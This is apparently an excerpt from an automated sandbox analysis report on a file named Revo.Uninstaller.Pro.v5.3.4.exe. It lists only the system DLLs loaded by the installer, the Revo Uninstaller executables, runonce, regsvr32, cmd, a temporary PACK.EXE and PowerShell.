Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\grpconv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\grpconv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: dxgidebug.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: version.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: mpr.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: olepro32.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wininet.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wsock32.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: winmm.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: mpr.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: oleacc.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: usp10.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wtsapi32.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: winsta.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: sxs.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: textshaping.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: textinputframework.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: coremessaging.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: ntmarta.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: coremessaging.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wintypes.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wintypes.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wintypes.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: dwmapi.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: napinsp.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: pnrpnsp.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wshbth.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: nlaapi.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: mswsock.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: dnsapi.dll
